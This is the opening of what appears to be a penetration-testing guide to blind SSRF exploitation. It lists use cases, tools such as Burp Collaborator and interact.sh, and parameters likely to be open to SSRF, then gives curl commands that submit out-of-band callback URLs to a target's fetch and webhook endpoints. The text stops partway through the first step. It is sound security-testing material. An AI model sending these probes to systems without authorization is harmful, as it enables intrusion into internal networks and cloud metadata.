performing-blind-ssrf-exploitation

# Performing Blind SSRF Exploitation ## When to Use - When testing URL/webhook input parameters where server-side responses are not reflected - During assessment of applications that fetch external resources (avatars, previews, imports) - When testing PDF generators, image processors, or document converters for SSRF - During cloud security assessments to detect metadata endpoint access - When evaluating webhook functionality and URL validation implementations ## Prerequisites - Burp Suite Professional with Burp Collaborator for OOB detection - interact.sh or webhook.site for external callback monitoring - Understanding of SSRF attack vectors and internal network enumeration - Knowledge of cloud metadata endpoints (AWS, GCP, Azure) - VPS or controlled server for advanced exploitation callback handling - Python with requests library for automation scripts ## Workflow ### Step 1 — Identify Blind SSRF Input Points ```bash # Common SSRF-susceptible parameters: # url=, uri=, path=, dest=, redirect=, src=, source= # link=, imageURL=, callback=, webhook=, feed=, import= # Test URL fetch functionality curl -X POST http://target.com/api/fetch-url \ -H "Content-Type: application/json" \ -d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}' # Test webhook configuration curl -X POST http://target.com/api/webhooks \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}' # Test image...